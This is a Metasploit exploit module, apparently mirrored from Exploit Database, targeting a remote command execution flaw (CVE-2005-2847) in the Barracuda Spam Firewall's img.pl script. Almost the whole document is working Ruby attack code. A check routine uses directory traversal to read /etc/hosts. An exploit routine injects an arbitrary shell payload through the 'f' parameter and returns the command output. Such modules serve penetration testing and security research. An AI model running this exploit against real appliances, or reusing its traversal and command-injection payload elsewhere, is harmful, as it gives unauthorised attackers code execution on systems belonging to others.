Barracuda – IMG.pl Remote Command Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/16893/

• ##
  # $Id: barracuda_img_exec.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Barracuda IMG.PL Remote Command Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary command execution vulnerability in the
  				Barracuda Spam Firewall appliance. Versions prior to3.1.18 are vulnerable.
  			},
  			'Author' => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					['CVE', '2005-2847'],
  					['OSVDB', '19279'],
  					['BID', '14712'],
  					['NSS', '19556'],
  					['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 4000,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet',
  						}
  				},
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Sep 01 2005',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),
  			], self.class)
  	end
  
  	def check
  		res = send_request_cgi({
  			'uri'=> datastore['URI'],
  			'vars_get' =>
  			{
  				'f' => ("../" * 8) + "etc/hosts"
  			}
  		}, 25)
  
  		if (res and res.body.match(/localhost/))
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		res = send_request_cgi({
  			'uri'=> datastore['URI'],
  			'vars_get' =>
  			{
  				'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!
  			}
  		}, 25)
  
  		if (res)
  			print_status("The server returned: #{res.code} #{res.message}")
  			print("")
  
  			m = res.body.match(/YYY(.*)YYY/)
  
  			if (m)
  				print_status("Command output from the server:")
  				print(m[1])
  			else
  				print_status("This server may not be vulnerable")
  			end
  
  		else
  			print_status("No response from the server")
  		end
  	end
  
  end